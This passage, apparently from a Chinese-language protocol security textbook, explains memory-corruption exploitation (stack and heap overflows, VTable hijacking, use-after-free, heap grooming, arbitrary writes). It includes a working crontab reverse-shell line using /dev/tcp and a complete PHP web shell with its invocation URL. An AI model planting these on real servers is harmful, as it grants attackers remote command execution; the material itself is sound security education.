找到漏洞之後,接著要利用它。利用漏洞的目標取決於你分析協定的目的:若是為商業產品做研究,可能只需一個清楚示範問題的概念驗證(proof of concept),可靠度不那麼重要;若是為紅隊演練開發攻擊程式,就需要可靠、能跨多版本、能接續下一階段攻擊的 exploit。先想清楚目標,才不會浪費力氣。

本節描述的都是真實可用的利用技術,只能在你獲得授權的環境中演練。

利用記憶體毀損漏洞#

記憶體毀損(如堆疊與堆積溢位)在 C/C++ 這類記憶體不安全語言寫的程式裡極為常見——複雜程式幾乎不可能完全不引入一個。利用它的核心,是觸發毀損、藉此改變程式狀態去執行任意程式碼:可能是劫持處理器執行狀態、把它導向 exploit 提供的程式碼,也可能是修改執行狀態、讓原本無法存取的功能變得可用。

堆疊緩衝區溢位#

當程式低估要複製進堆疊的緩衝區長度時,就會發生溢位並毀損堆疊上的其他資料。在許多架構上,函式的返回位址(return address)就存在堆疊上,毀損它等於直接掌控執行流程。最常見的手法就是把返回位址覆寫成指向含有 shellcode 的緩衝區,讓函式 return 時跳去執行你的程式碼。

理想情況下你能完全掌控溢位的內容與長度:填滿緩衝區、覆寫返回位址為你控制的記憶體位置(有時甚至可以把 shellcode 直接接在溢位尾端,讓返回位址跳回堆疊)。

圖表 10-2:一個簡單的堆疊溢位漏洞利用

漏洞的性質會帶來限制。若溢位源自 C 風格字串複製,就不能在溢位中使用多個 0 位元組——C 用 0 位元組當字串結尾,一遇到就會立刻停止複製。此時可改把 shellcode 導向一個不含 0 位元組的位址值。

堆積緩衝區溢位#

堆積緩衝區的位址較不可預測,沒有像返回位址那樣現成又固定的可毀損目標,所以利用起來比堆疊溢位更麻煩,需要控制堆積配置、精準擺放可毀損的物件。

最常見的取得執行控制手法是利用 C++ 物件的 VTable 結構。VTable 是物件所實作函式的指標清單;每個類別實例都含一個指向該表的指標。呼叫虛擬函式時,編譯器產生的程式碼會先查出 VTable 位址、再從表中查出函式、最後呼叫它。VTable 本身通常在唯讀記憶體、無法直接毀損,但我們可以毀損指向 VTable 的指標來取得執行控制。

圖表 10-3:VTable 的實作

圖表 10-4:透過毀損 VTable 位址取得程式碼執行

釋放後使用漏洞#

釋放後使用(use-after-free)與其說是記憶體毀損,不如說是程式狀態的毀損:一塊記憶體被釋放了,但某處仍保留指向它的指標,之後程式又把這個指標當有效指標重用。在釋放到重用之間,就有機會用任意值替換那塊記憶體的內容以取得執行控制。

圖表 10-5:釋放後使用漏洞的範例

  • 記憶體被釋放後通常會還給堆積供後續配置重用;因此只要你發出一個與原配置同樣大小的配置請求,很有可能拿回那塊記憶體、填入你精心構造的內容。
  • 利用手法與堆積溢位濫用 VTable 類似:程式配置了帶 VTable 指標的物件 p,接著 delete 釋放但沒重設 p;exploit 再配置一塊同尺寸、內容可控的記憶體被 heap allocator 重用為 p;若程式重用 p 呼叫虛擬函式,就能控制查表、取得執行控制。

use-after-free 難以追根本成因:釋放後原本的內容不一定會被清掉,程式即使記憶體已不再配置也可能繼續正常運作,直到內容被改動才出問題。

操縱堆積佈局#

利用堆積漏洞的關鍵,多半在於強迫一個合適的配置落在可靠的位置,因此必須操縱堆積佈局。由於各平台堆積實作差異極大,這裡只能給通則。

堆積實作原理:free-list、記憶體池、in-band vs out-of-band

為何不直接用 OS 配置器:OS 虛擬記憶體配置器(如 Windows 的 VirtualAlloc)有兩個問題——每次配置與釋放都要切換到 kernel mode 再切回(效能差);配置以頁為單位(通常至少 4096 位元組),小配置會浪費整頁。因此多數堆積實作只在必要時才呼叫 OS,平時一次要一大塊,再用使用者層程式碼把它切成小塊。

free-list(空閒清單):在一大塊配置內維護已釋放區塊的清單。新堆積建立時,free-list 是單一一塊等於整塊大小的空閒區塊。配置請求進來時掃描清單找足夠大的空閒塊、從頭切出請求的區塊、更新剩餘空閒大小。釋放時把區塊加回清單,並可檢查前後是否也空閒、嘗試合併(coalesce)以對付碎片化。

圖表 10-6:一個簡單的 free-list 實作範例

定義記憶體池(defined memory pool):另一種做法是為不同大小(如 16、64、256、1024 位元組)設定專用池,請求依最接近且足夠大的池配置(50 位元組進 64 池,512 進 1024 池),減少小配置造成的碎片。

metadata 儲存:in-band 把區塊大小、free/allocated 狀態等 metadata 存在配置記憶體旁邊;out-of-band 則存在別處。out-of-band 較好利用——毀損連續記憶體時不必費心還原 metadata,尤其當你不知道該還原什麼值時特別有用。

實務上的利用步驟大致是:假設你要溢位的堆積塊是 128 位元組,就找一個至少同尺寸、帶 VTable 指標的 C++ 物件,強迫程式配置大量這種物件(它們會在堆積中連續排列),選擇性釋放其中一個,再讓漏洞緩衝區去重用那個空位,接著執行溢位、毀損物件的 VTable 取得執行控制。

圖表 10-7:配置記憶體緩衝區以確保正確的佈局

網路攻擊中操縱堆積的最大挑戰是對記憶體配置的控制有限。攻擊瀏覽器可用 JavaScript 輕鬆佈置堆積,網路應用程式則難得多。好的下手點是連線的建立——若每條連線都由一個 C++ 物件支撐,光靠開關連線就能控制配置;否則就得利用協定命令來觸發合適的配置。

任意記憶體寫入漏洞#

記憶體毀損是模糊測試最容易找到的漏洞,但不是唯一一種。任意記憶體寫入(arbitrary memory write)可能來自程式對資源處理不當(例如某命令允許你直接指定寫入位置,或有路徑正規化漏洞),也可能是其他漏洞的副產物——許多舊式堆積配置器用鏈結串列存放空閒區塊,串列一旦被毀損,任何對 free-list 的修改都可能把一個值任意寫入攻擊者指定的位置。

要利用它,你得改寫一個能直接控制執行的位置,例如物件的 VTable 指標。此外,任意寫入的一大優勢是能顛覆應用程式邏輯

以一個網路應用程式為例:它為每條連線建立一個結構儲存重要資訊,包括所用 socket 與使用者是否為管理員;另有命令允許在已驗證為管理員時執行本地 shell 命令。

Listing 10-7 / 10-8:session 結構與管理員命令
struct Session {
  int socket;
  int is_admin;
};

Session* session = WaitForConnection();
Command c = ReadCommand(session->socket);
if (c.command == CMD_RUN_COMMAND
    && session->is_admin) {
  system(c->data);
}

只要找出 session 物件在記憶體中的位置,把 is_admin 從 0 改成 1,就替攻擊者打開了執行命令的大門。你甚至可以改 socket 值使它指向另一個檔案——在多數 Unix 平台上檔案描述子與 socket 是同型資源,write 系統呼叫寫檔與寫 socket 沒有分別,程式回應時就會把資料寫到任意檔案。

任何用某種驗證機制區隔一般使用者與管理員權責的應用程式,通常都能用這種方式顛覆其安全系統。

利用高權限檔案寫入#

若應用程式以 root 或系統管理員等提升權限執行,任意檔案寫入的可利用面就很廣。一種手法是覆寫你知道會被執行的執行檔或函式庫(例如正在跑那個網路服務的執行檔);許多平台還提供排程任務、Linux 的 cron job 等執行途徑。

若你的任意寫入只給讀寫權限、無法賦予執行權限,可寫一個 Crontab 檔到 /etc/cron.d(例如 /etc/cron.d/run_shell)來執行任意系統命令。

Listing 10-9:反向 shell 的 Crontab 檔
* * * * * root /bin/bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/1234 0>&1'

此檔每分鐘執行一次,把 shell 行程連到指定主機與 TCP port。注意有些版本的 bash 不支援這種反向 shell 語法,屆時得改用 Python 腳本等方式達到同樣效果。

利用低權限檔案寫入#

沒有高權限時選項較少,但並非無計可施——你得了解系統上有什麼可利用。若目標是 Web 應用程式或機器上有 Web 伺服器,或許能投放一個伺服器端渲染網頁。許多 Web 伺服器裝有 PHP,允許你以 Web 伺服器使用者身分執行命令。

Listing 10-10:簡單的 PHP shell
<?php
if (isset($_REQUEST['exec'])) {
  $exec = $_REQUEST['exec'];
  $result = system($exec);
  echo $result;
}
?>

把這個 .php 檔放到 Web 根目錄(可能是 /var/www/html 或其他位置)後,請求 http://server/shell.php?exec=CMD 即可在伺服器上以 Web 伺服器身分執行任意命令。

PHP 的另一優點是:檔案裡有什麼其他內容都無所謂,PHP 解析器只會找 <?php … ?> 標籤並執行其中的程式碼。當你無法完全掌控寫入檔案的內容時,這特別有用。